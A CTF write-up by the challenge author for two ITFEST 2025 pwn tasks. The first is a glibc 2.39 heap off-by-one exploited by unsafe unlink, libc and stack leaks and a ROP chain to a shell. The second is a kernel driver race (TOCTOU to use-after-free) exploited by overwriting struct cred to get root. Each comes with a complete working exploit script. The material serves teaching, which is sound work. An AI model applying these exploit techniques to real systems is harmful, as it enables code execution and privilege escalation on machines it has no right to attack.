ITFEST CTF 2025 is a one-day online/offline and jeopardy/scada style competition hosted by FR13NDS TEAM.
Table of contents
- Old Railway Station
- MAX MAX
1. Old Railway Station
Description
Old trick
Solution
Initial Checks
There is provided binary old_rs , libc.so.6 and ld-2.39.so files.
There is also provided meme.mp4 file inside of it there is fast phrase of: “Старый вокзалго мнау” meaning Old Railway Station :) (this is local meme created randomly, just rofl sound quality which makes laugh) -> meme.mp4
We can investigate old_rs by firstly using checksec to reveal security applied to this binary, also old_rs binary is stripped.
And to check the version of libc provided, we can see the ld-2.39.so file giving us the according version, or we can check it by: strings libc.so.6 | grep GLIBC and identify it as GLIBC 2.39
checksec:

GLIBC version:

So the binary is compiled with Full RELRO , Canary and NX enabled , No PIE
Meaning the GOT and PLT sections are Read Only, and the binary contains canary check every stack frame it leaves and the stack is not executable, but binary do not have PIE enabled, which gives us constant known addresses of the binary itself.
Lets investigate further by executing and checking what program does:

Binary prints the menu containing options:
1. Issue New Ticket 2. Modify Ticket Details 3. Review Ticket Information 4. Cancel Ticket 5. Close Station for the DayBy the usage of each functions it seems for doing:
- Creates ticket and asks for data for the ticket, then prints the index of created ticket
- We can modify ticket by index with our data
- Prints data within the ticket by index
- Refunds (Cancels) the ticket by index
- Exits from program
It is still not clear what it does actually when calling this options, specially the 1, 2, 3 and 4. So lets dive into reversing part, to analyze binary statically and dynamically.
Reverse / Vulnerability
Since I am a challenge author, I have the source code of the binary, but source code was not provided in the original task, so to be fair I will use original stripped binary as it is and reverse it.
There can be used any reverse engineering tools you prefer. For this task I will use Binary Ninja as decompilation tool and pwndbg for debugging.
Lets check what functions we have in the binary using Binary Ninja:

Based on the main() function there is loop which prints the menu every iteration, then prompts input using scanf for integer, using that output it matches the calls for corresponding functions. Loop ends when we exceed the i variable which responds to the counter of the executed options in the program, meaning each option usage increments it until it reaches 0xd then loop ends.
This part is optional, but I will rename the functions that was stripped to the corresponding names, based on the option menu print.
The function sub_401276 appears to be menu option which simply prints menu we saw earlier, so lets change it to that. sub_4012ef is function which is called when we choose option ‘1’ so lets change it to create_ticket. Then there is sub_4013d7 , sub_4014e7 , sub_4015ff , sub_401740 which is corresponding ‘2’ , ‘3’ , ‘4’ , ‘5’. Lets change them into edit_ticket , read_ticket , cancel_ticket , exit_prog.
Lets check what each functions do under the hood:

The create_ticket is eventually doing this:
- Checks some global variable (lets rename it to max_tickets) for not exceeding 2, if it is then returns with print of tickets is overbooked
- If the check passes, it creates chunk using
calloc(1, 0x418), meaning that unsorted chunks are used and calloc fills the returned buffer with zeros - Stores chunk in the global chunks array (lets rename it to global_array) in the binary data section
- Asks for input exact 0x418 bytes that will be stored in the chunk’s user data
- Prints the global ticket (max_tickets) number and increments it
edit_ticket:
- Asks for ticket number to modify
- Checks ticket number for bigger than 0 and less or equal than global ticket number (max_tickets)
- If the check passes, then checks the ticket inside of global chunks array (global_array) for not 0, if it is then prints that ticket was already cancelled
- If the check passes, then it asks for input to modify the ticket data, we can write one byte more than 0x418, maximum write uo to 0x419 bytes in to the chunk
read_ticket:
- Asks for ticket number to read
- Checks ticket number for bigger than 0 and less or equal than global ticket number (max_tickets)
- If the check passes, then checks the ticket inside of global chunks array (global_array) for not 0, if it is then prints that ticket was already cancelled
- If the check passes, then writes the content of the ticket to stdout
cancel_ticket:
- Checks some global variable (lets call it, is_free_used) for 0, if it is not then prints that cancellation is limited 1 per day
- If the check passes, then asks for ticket number to cancel
- Checks ticket number for bigger than 0 and less or equal than global ticket number (max_tickets)
- If the check passes, then checks the ticket inside of global chunks array (global_array) for not 0, if it is then prints that ticket was already cancelled
- If the check passes then frees the chunk and zeros the ticket inside of global chunks array (global_array)
- Changes value of is_free_used to 1
exit_prog:
- Prints that station is closed
- Exits from program
That is almost everything we need to step further, the key things to mention that program allocates only unsorted bin chunks (0x418) meaning that no fastbin chunks are used, and size is high enough to not use tcache. And there is only 1 free usage per execution, meaning that we can only free once in the program (we can increase this limit later, but its not needed, we can pwn using only 1 free). Also there is global chunks array (global_array), that contains pointers to chunks in heap and can be accessed via corresponding ticket number in the program. We limited for option usage in 13 execution, as i mentioned for free usage it can be increased later, but we do not need to do that becasue 13 options is enough to pwn this program.
As you can see there is no Use after Free or Double free bugs type bugs, because it checks the global_array at the index to be not zero and zeros it after the free() usage, and usage of calloc() also zeros the chunks preventing us from potential heap/libc leaks using the uninitalized memory, there it will not leak anything using calloc.
But there is single byte overflow in the edit_ticket allowing us to overflow next chunk’s size field. We will use this strong primitive to exploit our binary in the Exploitation part.
Now we can write some wrapper python pwntools code to be able to easily communicate with the binary options:
from pwn import *
def malloc(p, data): p.sendlineafter(b'> ', b'1') p.sendafter(b': ', data)
def edit(p, index, data): p.sendlineafter(b'> ', b'2') p.sendlineafter(b': ', str(index).encode()) p.sendafter(b': ', data)
def view(p, index): p.sendlineafter(b'> ', b'3') p.sendlineafter(b': ', str(index).encode())
def free(p, index): p.sendlineafter(b'> ', b'4') p.sendlineafter(b': ', str(index).encode())
exe = ELF('./old_rs')libc = exe.libccontext.binary = execontext.gdb_binary = 'pwndbg'context.terminal = ["tmux", "splitw", "-h"]
p = gdb.debug([exe.path], '''continue''')
# we insert our exploit modification starting here
p.interactive()I created this template using the behaviour of the functions, as you can see create_ticket become malloc() and cancel_ticket eventually become free() in our template, others did not changed in the context.
Lets dive into Exploitation part and see what we can achieve with single byte overflow in this program.
Part 1: Arbitrary Write
Firstly lets check that bug exist dynamically, via executing the binary with our template and add the overflow part, it should overflow ‘1’ chunk’s size field:
malloc(p, b'abc') # 0malloc(p, b'def') # 1malloc(p, b'123') # 2
payload = b''payload += b'A' * 0x418 + b'\xff'
edit(p, 0, payload) # overflow next chunk's size fieldExecute it and we can inspect the heap in pwndbg:

As you can see there is single byte overflow, which replaced first byte of the size field of next chunk by our last data ‘\xff’. Now we have Off By One primitive in the heap.
We are dealing with unsorted bin chunks, which is using double linked list structure - containing fd (forward pointer) and bk (backward pointer). And we are limited in chunk allocation by 3 and free usage by 1, so what we can do? We can use Unsafe Unlink technique which can be exploited in that condition which we have now.
Here is some theory:
- When chunk is removed from unsorted bin, and previous chunk is also freed, malloc will do unlink() on this chunk, which eventually does:
FD = P->fd; BK = P->bk;
FD->bk = BK; BK->fd = FD;It takes the Forward pointer (fd) of current chunk, replaces Backward pointer (bk) of it to the bk of current chunk. Then takes bk of current chunk, replaces fd of it to the fd of current chunk. Leading us arbitrary write if we control this pointers of unlinking chunk.
But there is a twist. Since our binary is linked in GLIBC 2.39, there is malloc integrity check introduced way before, which checks our unlinking process to mitigate such attacks or make it harder to exploit.
The check looks like this:
assert(P->fd->bk == P); assert(P->bk->fd == P);Meaning it assumes and verifies that our chunks fd’s bk is pointing to us, and our chunks bk’s fd is also pointing to us, mitigating the initial arbitrary write ability, but we still can use this technique in certain situations which requires some additions in binary or how the program deals with chunks.
- To check if previous chunk is freed, malloc checks prev_in_use flag of the current chunk it accessing to, if its 0 then previous chunk is freed and unlink() can be called on this chunks.
To make believe for malloc that previous chunk is freed and to forge using unlink on our current chunk, we just need to somehow null the prev_in_use bit which is LSB bit of size field (ex. 0x421 = prev_in_use=1, 0x420=prev_in_use=0)
So now we have the idea of our exploitation, we can trigger unlink() on the chunk, if prev_in_use bit of current chunks is nulled, and we can basically get Arbitrary write by replacing the fd and bk pointers of the unlinking chunk, to arbritary location. But we need to deal with the security mitigation inside of GLIBC.
Remember that our chunks are stored in the global array (we called it global_array) and since binary is No PIE we can have its address in memory:

We can get use of that, since we know its address in runtime, we dont need any additional leaks in the first part of exploitation. The idea is to create fake chunk inside of the first chunk we allocate, to forge it to be valid for both fd and bk, pointing to global_array. Since unlink will check the corresponding fd and bk, we can craft such offset behind fd and bk so that it will point to our chunk, bypassing the integrity check:
- We allocate 3 chunks (third is to not deal with top chunk consolidation)
- We edit the first chunk and prepare our fake chunks inside, pointing to fd and bk to bypass double linked list check, and we overflow at the same time into thunk 2 replacing it’s prev_in_use bit to be 0, by simply putting 0x20 (size of chunk 2 will become 0x420)
- Now we free chunk 2, since malloc sees prev_in_use is nulled, it will try to do unlink() in chunk 1, leading us to overwrite the first entry in the global_array to point itself, leading us the arbitrary write
Here is addition, we need also to put valid prev_size field of the chunk 2, because malloc checks the prev_size for corruption and gets the offset based on that, also we need to put -0x10 prev_size on it since we want to point the prev_size into our actual fake chunk, we need to substract the 0x10 from it and place while we overflow
Now I can add lines to exploit with additional comments as this, but now we change the payload and add free call:
malloc(p, b'abc') # 1-st usage option, 0 chunkmalloc(p, b'def') # 2-nd usage option, 1 chunkmalloc(p, b'123') # 3-rd usage option, 2 chunk
# 0x404050 - global_arrayfd = 0x404050 - 0x18 # we point to -0x18 (24) since we faking our chunk and the unlink check will follow our fd, and find the first entry of chunk which is chunk number 0bk = 0x404050 - 0x10 # same as fd, but +8 (since bk is 8 bytes after fd)prev_size = 0x410 # as mentioned, we fake our prev_size to -0x10 of actual prev_size 0x420 to point to our fake chunk startfake_size = 0x20 # overflow size, will become 0x420 in chunk number 1
payload = b''payload += p64(0) # prev_size of previous chunk, we dont care for itpayload += p64(0x410) # size of chunk we fakingpayload += p64(fd) + p64(bk) # fd and bk respectfullypayload += p8(0) * (0x418 - 40) # fill up to prev_sizepayload += p64(prev_size) # faking prev_size to be 0x410payload += p8(fake_size) # overflowing chunk 1 to replace 0x421 to 0x420, and null prev_in_use bit
edit(p, 0, payload) # 4-th usage optionfree(p, 1) # 5-th usage option, 1 free usage, triggers unlink on chunk 0We can execute it and check the memory around global_array, it should replace first entry with itself - 0x18 (should be 0x404038):

And yes we successfully gained arbitrary write on the global_array and we can now fake any address to point inside of this array, and then by choosing the ticket number we can edit, read the data within this pointers.
Part 2: Arbitrary Read and RCE
Now we have Arbitrary write on any address we provide inside of the global_array, which we control by editing the ticket (now it points to itself in ticket number 0, we can edit ticket and by the first entry we put our global_array address again, to persist the arbitary write primitive).
Since we dont have any addresses leaked (stack, libc) and only have binary addresses, thanks to No PIE, we need some kind of Arbitrary Read. And of course if we can replace pointers in the global_array, we eventually have Arbitrary Read also, because we can review ticket which will give data inside of the address. Using that we can get our libc leak just by classic reading the puts GOT, i will add this step to exploit script:
edit(p, 0, p64(0) * 3 + p64(0x404050) + p64(exe.got.puts)) # 6 usage optionview(p, 1) # 7 usage option, leaking libc
p.recvuntil(b'===\n')
puts_leak = u64(p.recv(6).ljust(8, b'\x00'))libc.address = puts_leak - libc.sym.putsprint(f"Libc leak: {hex(puts_leak)}")print(f"Libc address: {hex(libc.address)}")Now we can leverage our Arbitrary Write in any form, there is no __free_hook or __malloc_hook’s available since its GLIBC 2.39 and it not contains that, but we can do several RCE on this version of libc. I prefered to use ROP chain into the stack RIP. This requires stack leak, so lets get it by leaking libc environ symbol which contains stack addresses:
edit(p, 0, p64(0x404050) + p64(libc.sym.environ)) # 8 usage optionview(p, 1) # 9 usage option
p.recvuntil(b'===\n')
environ = u64(p.recv(6).ljust(8, b'\x00'))stack = environ - 360 # stack until nearly our RIPprint(f"Environ loc: {hex(environ)}")print(f"Stack: {hex(stack)}")Then we can calculate the offset until our RIP to start overwriting it and edit global_array to finalize our attack, it can be done via debugging, simply put breakpoint and inspect the stack nearly behind returning from the function, and compare with our stack leak:
edit(p, 0, p64(0x404050) + p64(stack + 24)) # 10 usage optionAnd whats left is just perform ROP chain by simply doing pop rdi for binsh address and jumping to system (we also needed to use ret_gadget, there will be movabs issue inside of system, which is stack allignment issue that can be solved via simply retting):
pop_rdi_ret = libc.address + 0x000000000010f78bbin_sh_addr = next(libc.search(b'/bin/sh\x00'))ret_gadget = libc.address + 0x000000000002882f
payload = flat( pop_rdi_ret, bin_sh_addr, ret_gadget, libc.sym.system)edit(p, 1, payload) # 11 usage option, final RCE, will overwrite RIP with our ROP chain and give us shellAfter that we will have shell, and we can read the flag
Flag
f13{0ld_but_g0ld_s4f3_unl1nk_is_just_b4ck_t0_2000s}
Full Exploit Script
from pwn import *
def malloc(p, data): p.sendlineafter(b'> ', b'1') p.sendafter(b': ', data)
def edit(p, index, data): p.sendlineafter(b'> ', b'2') p.sendlineafter(b': ', str(index).encode()) p.sendafter(b': ', data)
def view(p, index): p.sendlineafter(b'> ', b'3') p.sendlineafter(b': ', str(index).encode())
def free(p, index): p.sendlineafter(b'> ', b'4') p.sendlineafter(b': ', str(index).encode())
exe = ELF('./old_rs')libc = exe.libccontext.binary = execontext.gdb_binary = 'pwndbg'context.terminal = ["tmux", "splitw", "-h"]
p = gdb.debug([exe.path], '''continue''')
malloc(p, b'abc') # 1-st usage option, 0 chunkmalloc(p, b'def') # 2-nd usage option, 1 chunkmalloc(p, b'123') # 3-rd usage option, 2 chunk
# 0x404050 - global_arrayfd = 0x404050 - 0x18 # we point to -0x18 (24) since we faking our chunk and the unlink check will follow our fd, and find the first entry of chunk which is chunk number 0bk = 0x404050 - 0x10 # same as fd, but +8 (since bk is 8 bytes after fd)prev_size = 0x410 # as mentioned, we fake our prev_size to -0x10 of actual prev_size 0x420 to point to our fake chunk startfake_size = 0x20 # overflow size, will become 0x420 in chunk number 1
payload = b''payload += p64(0) # prev_size of previous chunk, we dont care for itpayload += p64(0x410) # size of chunk we fakingpayload += p64(fd) + p64(bk) # fd and bk respectfullypayload += p8(0) * (0x418 - 40) # fill up to prev_sizepayload += p64(prev_size) # faking prev_size to be 0x410payload += p8(fake_size) # overflowing chunk 1 to replace 0x421 to 0x420, and null prev_in_use bit
edit(p, 0, payload) # 4-th usage optionfree(p, 1) # 5-th usage option, 1 free usage, triggers unlink on chunk 0
edit(p, 0, p64(0) * 3 + p64(0x404050) + p64(exe.got.puts)) # 6 usage optionview(p, 1) # 7 usage option, leaking libc
p.recvuntil(b'===\n')
puts_leak = u64(p.recv(6).ljust(8, b'\x00'))libc.address = puts_leak - libc.sym.putsprint(f"Libc leak: {hex(puts_leak)}")print(f"Libc address: {hex(libc.address)}")
edit(p, 0, p64(0x404050) + p64(libc.sym.environ)) # 8 usage optionview(p, 1) # 9 usage option
p.recvuntil(b'===\n')
environ = u64(p.recv(6).ljust(8, b'\x00'))stack = environ - 360 # stack until nearly our RIPprint(f"Environ loc: {hex(environ)}")print(f"Stack: {hex(stack)}")
edit(p, 0, p64(0x404050) + p64(stack + 24)) # 10 usage option
pop_rdi_ret = libc.address + 0x000000000010f78bbin_sh_addr = next(libc.search(b'/bin/sh\x00'))ret_gadget = libc.address + 0x000000000002882f
payload = flat( pop_rdi_ret, bin_sh_addr, ret_gadget, libc.sym.system)edit(p, 1, payload) # 11 usage option, final RCE, will overwrite RIP with our ROP chain and give us shell
p.interactive()Key Takeaways
- Understand binary behaviour
- Identify vulnerability - Off By One in the heap
- Bypass Unsafe Unlink security mitigations and perform Safe Unlink :)
References
2. MAX MAX
Description
TU TU TU TUTU

Solution
Initial Checks
There is provided vmlinux binary of kernel, and bzImage with initramfs.cpio.gz containing filesystem of the system, also there is source code of the driver and run.sh to run kernel image locally. So this is kernel pwn task.
After extracting the initramfs using cpio utility we can see the files init flag and maxmax_driver.ko - which seems to be compiled driver file of the source code which we have in the file maxmax_driver.c
Now we can read the source code of the kernel driver:
#include <linux/module.h>#include <linux/kernel.h>#include <linux/fs.h>#include <linux/uaccess.h>#include <linux/slab.h>#include <linux/miscdevice.h>#include <linux/delay.h>
#define DEVICE_NAME "maxmax_driver"#define CMD_ALLOC 0xf1311#define CMD_WRITE 0xf1312
struct maxmax_obj { char *buffer; size_t size;};
static struct maxmax_obj *global_obj = NULL;
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { struct maxmax_obj *obj = global_obj;
switch (cmd) { case CMD_ALLOC: { size_t size; if (copy_from_user(&size, (void __user *)arg, sizeof(size))) return -EFAULT; if (size < 40) { return -EINVAL; } printk(KERN_INFO "Allocating size: %zu\n", size);
if (obj->buffer) { kfree(obj->buffer); }
obj->buffer = kmalloc(size, GFP_KERNEL); obj->size = size;
if (!obj->buffer) return -ENOMEM; break; }
case CMD_WRITE: { char *kbuf = obj->buffer;
if (!kbuf) return -EINVAL;
msleep(200);
if (copy_from_user(kbuf, (void __user *)arg, 40)) return -EFAULT; break; }
default: return -EINVAL; } return 0;}
static struct file_operations fops = { .unlocked_ioctl = device_ioctl,};
static struct miscdevice misc_dev = { .minor = MISC_DYNAMIC_MINOR, .name = DEVICE_NAME, .fops = &fops,};
static int __init maxmax_init(void) { global_obj = kmalloc(sizeof(struct maxmax_obj), GFP_KERNEL); global_obj->buffer = NULL; global_obj->size = 0; return misc_register(&misc_dev);}
static void __exit maxmax_exit(void) { if (global_obj) { kfree(global_obj->buffer); kfree(global_obj); } misc_deregister(&misc_dev);}
module_init(maxmax_init);module_exit(maxmax_exit);
MODULE_LICENSE("GPL");MODULE_AUTHOR("Aker");MODULE_DESCRIPTION("ITFEST 2025 by FR13NDS TEAM");This is simple kernel driver registered as maxmax_driver (we can use it via opening /dev/maxmax_driver), which defines two IOCTL commands, CMD_ALLOC (0xf1311) and CMD_WRITE (0xf1312).
There is also global object global_obj which contains a pointer to a buffer and its size.
CMD_ALLOC:
- Reads size from user space.
- Checks if the size is at least 40 bytes.
- If a buffer is already allocated, it frees it.
- Allocates a new buffer of the requested size and stores the pointer in global_obj -> buffer.
CMD_WRITE:
- Retrieves the current buffer pointer from global_obj -> buffer.
- Crucially, it performs an msleep(200), pausing execution for 200 milliseconds.
- After the sleep, it copies 40 bytes of data from user space into the location pointed to global_obj -> buffer.
Vulnerability
Since in this driver ioctl does not protected via sync (mutex, spinlock) and not locked, there will be a Time of Check, Time of Use vulnerability (TOCTOU) that appears in the window between CMD_ALLOC and CMD_WRITE, the msleep function increases little bit this window creating us Race Condition which we can lead into full working Use After Free later.
In CMD_WRITE, the driver creates a local copy of the buffer pointer:
char *kbuf = obj->buffer; // 1. pointer is fetchedif (!kbuf) return -EINVAL;
msleep(200); // 2. thread goes to sleepWhile this thread is sleeping, a second thread can call CMD_ALLOC. This command will free the current buffer (the same one kbuf points to) and allocate a new one.
if (obj->buffer) { kfree(obj->buffer);}When the CMD_WRITE thread wakes up:
if (copy_from_user(kbuf, (void __user *)arg, 40)) // 3. writes to old pointerIt proceeds to write user data to kbuf, but kbuf is now a dangling pointer referring to freed memory giving us - Use After Free primitive.
UAF -> root
With the UAF primitive confirmed, the goal is to escalate privileges. Since we can write 40 bytes of arbitrary data to a freed object, we target the struct cred.
The struct cred is the kernel structure that holds a process’s privileges (UID, GID, capabilities, etc.). If we can overwrite a process’s uid and gid fields with 0, that process becomes root.
The plan is:
- We allocate a buffer of size 192 (the typical size of
struct cred) using the driver. - Then we call CMD_WRITE. The driver stores the pointer to our buffer and goes to sleep (
msleep(200)). - While Thread 1 is sleeping, we call CMD_ALLOC to free the buffer. The pointer held by Thread 1 is now dangling.
- Spray the heap using
fork().fork()callsprepare_creds(), which allocates a newstruct cred.- The kernel allocator (SLUB) is likely to reuse the chunk we just freed for one of these new cred structures.
- Thread 1 wakes up and resumes execution, it will write our payload (40 bytes of zeros) to the dangling pointer.
- this will overwrite the
struct credof one of the child processes. - since our payload consist of 40 zeros, the uid will be 0 and gid=0 (we become root).
- this will overwrite the
- We check child process if its UID is 0. If yes, then spawn a shell.
Now we can begin to write our exploit.
- We define the target slab size and allocate it.
printf("fake victim obj (%d)\n", CRED_SIZE);alloc(CRED_SIZE);- The thread performs the ioctl which saves the pointer and sleeps.
void* victim_write(void* arg) { ioctl(fd, CMD_WRITE, payload); return NULL;}- The main thread waits just enough time (usleep(50000) = 50ms) to ensure the victim thread has entered the kernel and is sleeping, then triggers the free via re-allocation.
usleep(50000);alloc(80);- fork() creates a new process, and every new process needs a struct cred.
for (int i=0; i<100; i++) { pid_t pid = fork(); if (pid == 0) { usleep(250000); check_root_and_shell(); exit(0); }}The child sleeps (usleep(250000)) to ensure it stays alive long enough for the victim_write thread (sleeping 200ms) to wake up and perform the overwrite.
- The payload is 40 bytes of 0x00.
Flag
f13{tutututu_max_verstappen_f4st3st_it_was_easy_kernel_glhf_next_tasks}
Full Exploit Script
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>#include <pthread.h>#include <string.h>#include <sys/wait.h>#include <sys/types.h>
#define CMD_ALLOC 0xf1311#define CMD_WRITE 0xf1312
#define CRED_SIZE 192
int fd;char payload[CRED_SIZE];
void alloc(size_t size) { if (ioctl(fd, CMD_ALLOC, &size) < 0) { perror("[-] ioctl alloc failed"); exit(1); }}
void* victim_write(void* arg) { ioctl(fd, CMD_WRITE, payload); return NULL;}
void check_root_and_shell() { if (getuid() == 0) { printf("\n!!! tu tu tu max verstappen %d (uid=%d)\n", getpid(), getuid()); system("/bin/sh"); exit(0); }}
int main() { memset(payload, 0, sizeof(payload)); fd = open("/dev/maxmax_driver", O_RDWR); if (fd < 0) { perror("[-] Failed to open driver"); return 1; } printf("fake victim obj (%d)\n", CRED_SIZE); alloc(CRED_SIZE);
pthread_t t1; pthread_create(&t1, NULL, victim_write, NULL);
usleep(50000);
printf("realloc trigger\n"); alloc(80);
printf("spray\n"); int sprayed = 0; for (int i=0; i<100; i++) { pid_t pid = fork(); if (pid == 0) { usleep(250000); check_root_and_shell(); exit(0); } sprayed++; }
pthread_join(t1, NULL); while(wait(NULL) > 0);
printf("failed\n"); return 0;}Key Takeaways
- Understand driver
- Identify vulnerability - TOCTOU to UAF
- Escalate privileges using struct cred